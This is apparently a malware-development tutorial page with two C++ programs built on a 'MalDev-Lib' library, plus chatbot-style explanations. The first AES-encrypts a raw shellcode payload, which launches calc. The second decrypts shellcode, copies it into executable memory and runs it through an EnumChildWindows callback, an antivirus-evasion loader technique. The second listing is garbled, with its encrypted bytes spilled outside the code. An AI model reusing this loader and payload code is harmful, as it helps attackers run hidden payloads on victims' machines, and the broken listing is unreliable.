
AES
Encryption:

Here you have the Github Repository used and included in the code:

https://github.com/S12cybersecurity/MalDev-Lib

This C code appears to be an example of encrypting shellcode using the AES (Advanced Encryption Standard) algorithm. The code includes a library called lib-Shellcode/Shellcode.h (which is not provided in the snippet) that presumably contains the necessary

functions for handling the shellcode and encryption. Here’s an explanation of the code:

1. Header Files: It includes standard Windows and C headers, including <windows.h> and <stdio.h>, which provide functions for Windows API and standard I/O operations, respectively. Additionally, it appears to rely on a custom library lib-Shellcode/Shellcode.h

for shellcode-related functionality.

2. Main Function:

◦ The main function is the entry point of the program.

◦ It defines an array shellcode that contains a sequence of hexadecimal values. This shellcode will be encrypted using AES encryption.

◦ It also defines key and iv arrays, which are used as the encryption and initialization vectors for the AES encryption process.

◦ The len variable stores the length of the shellcode array.

3. Shellcode Initialization:

◦ It creates an instance of a Shellcode object, passing the shellcode array and its length as parameters. The purpose of this object is not clear from the provided code but appears to be part of the custom library being used.

4. AES Encryption:

◦ It calls the AES_encrypt method on the Shellcode object, passing the key and iv arrays as arguments. This method is likely responsible for encrypting the shellcode using AES encryption.

5. Return Value:

◦ The main function returns 0, indicating successful execution.

It’s important to note that the code snippet you provided relies on external libraries and a custom Shellcode class, which is not defined in the provided code. The actual functionality and purpose of this code may depend on the implementation of the Shellcode class

and the lib-Shellcode library. Additionally, encrypting shellcode is a technique that can be used for various purposes, including protecting sensitive code or payloads. However, it can also be used for malicious purposes, so it should be handled carefully and responsibly.

Decryption and Execution:

This C code appears to be a simple example of using AES (Advanced Encryption Standard) encryption and decryption to execute shellcode. The code includes a library called lib-Shellcode/Shellcode.h (which is not provided in the snippet) that presumably contains

the necessary functions for handling the shellcode and encryption/decryption. Here’s an explanation of the code:

1. Header Files: It includes standard Windows and C headers, including <windows.h> and <stdio.h>, which provide functions for Windows API and standard I/O operations, respectively. Additionally, it appears to rely on a custom library lib-Shellcode/Shellcode.h

for shellcode-related functionality.

2. Main Function:

◦ The main function is the entry point of the program.

◦ It defines an array shellcode that presumably contains encrypted shellcode in hexadecimal format. This shellcode will be decrypted and executed.

◦ It also defines key and iv arrays, which are used as the encryption and initialization vectors for the AES decryption process.

◦ The len variable stores the length of the shellcode array.

3. Shellcode Initialization:

◦ It creates an instance of a Shellcode object, passing the shellcode array and its length as parameters. The purpose of this object is not clear from the provided code but appears to be part of the custom library being used.

4. AES Decryption:

◦ It calls the AES_decrypt method on the Shellcode object, passing the key and iv arrays as arguments. This method is likely responsible for decrypting the shellcode using AES encryption.

◦ The result of the decryption is stored in the decrypted pointer.

5. Memory Allocation:

◦ It allocates a region of memory using the VirtualAlloc function. This memory is allocated with read, write, and execute permissions (PAGE_EXECUTE_READWRITE). The size of the allocated memory is equal to the length of the decrypted shellcode.

◦ The decrypted shellcode is then copied into this allocated memory using memcpy.

6. Shellcode Execution:

◦ The code uses the EnumChildWindows function, which is part of the Windows API. It’s called with the address of the allocated memory (hAlloc) as the callback function. This suggests that the intention is to execute the decrypted shellcode within the context of

each child window of the current process.

It’s important to note that the code snippet you provided relies on external libraries and a custom Shellcode class, which is not defined in the provided code. The actual functionality and purpose of this code may depend on the implementation of the Shellcode class

and the lib-Shellcode library. Additionally, the code is decrypting and executing shellcode, which can be a security risk if not handled carefully, and should only be used for legitimate and ethical purposes.

C++ Code

#include <windows.h>
#include <stdio.h>
#include "MalDev-Lib/lib-Shellcode/Shellcode.h"

int main(){
unsigned char shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
"\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x63\x61\x6c\x63\x00";

unsigned char key[] = "123456789";
unsigned char iv[] = "123456789";
int len = sizeof(shellcode);

Shellcode sc(shellcode,len);
sc.AES_encrypt(key,iv);
return 0;

}

C++ Code

#include <windows.h>
#include <stdio.h>
#include "MalDev-Lib/lib-Shellcode/Shellcode.h"

int main(){
unsigned char shellcode[] = 9\x

unsigned char key[] = "123456789";
unsigned char iv[] = "123456789";
int len = sizeof(shellcode);

Shellcode sc(shellcode,len);

unsigned char * decrypted = sc.AES_decrypt(key,iv);

HANDLE hAlloc = VirtualAlloc(NULL, len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(hAlloc, decrypted, len);
EnumChildWindows((HWND) NULL, (WNDENUMPROC) hAlloc, NULL);
return 0;

}

"\x0b\xd9\x45\x9a\xee\x51\xb9\x7c\xa1\xf0\xa9\x36\x0b\x51\x8e\x1b\x89\x78\x36\x2e\xd0\x5f\x9f\xf3\x36\x3a\x88\xf4\xe3\xa4\x3a\xe4\x8f\x82\x01\xa0\xc8\x12\xdc\x24\x44\x3c\xfa\x60\x2b\xf5

\x18\xf0\x0f\x29\x60\x63\x9a\x12\x80\xff\x31\xea\x10\xd6\x2c\x96\x90\x4d\xc0\x89\x6c\x24\x55\xf6\x59\x81\x30\xe1\x14\x42\xc0\x73\x93\xf5\x22\x3d\x96\xea\x32\x13\xc8\x9c\x4d\xdd\xfd\xe9\

x95\x76\xa6\x75\x90\xd1\xb7\xca\x5f\xd1\xc8\x1e\x11\x7d\xf8\x74\xa0\x1f\x30\x68\x56\x4b\xbc\xf0\xa4\x2d\x58\x82\x7b\xd2\x33\xa7\x98\xac\x2e\x1a\xc2\x8b\x90\xde\x10\x37\x63\xe2\x65\xf8\

x60\xa4\x5a\x1b\xe0\x2d\xde\x5d\x1d\x20\xc3\x88\x93\xf2\x8e\x6d\xbd\x21\x1a\xc4\xfd\x5b\xdc\xfe\xb3\xd0\xbc\x26\x01\xf2\xfe\xad\x0b\x95\x73\x9d\xa9\x02\x96\xc0\x29\xfb\x15\x16\xf6\x61\

xf4\x1d\x18\xa1\x98\x16\x3a\xc3\x40\xe1\xa8\x05\xcc\x36\x2c\x12\x37\x72\x54\x51\x06\xf4\xc4\x42\xc3\x8f\xae\x89\x8c\xad\x1c\xa5\x98\x32\x82\xf7\xb3\xd5\x44\x15\x65\x19\xc5\x7b\xe2\x6e\

xc4\xac\xc3\x5a\xb1\x23\x57\x9b\x72\xc1\xf4\x93\x88\x1c\xa8\xb0\x14\xbe\x40\x86\x88\x1c\xdb\x9e\x12\x27\x05\x44\x6d\x40\xc4\xab\xa8\x70\x8b\xf6\x73\xa8\xa6\xe7\x74\xf9\x73\x90";


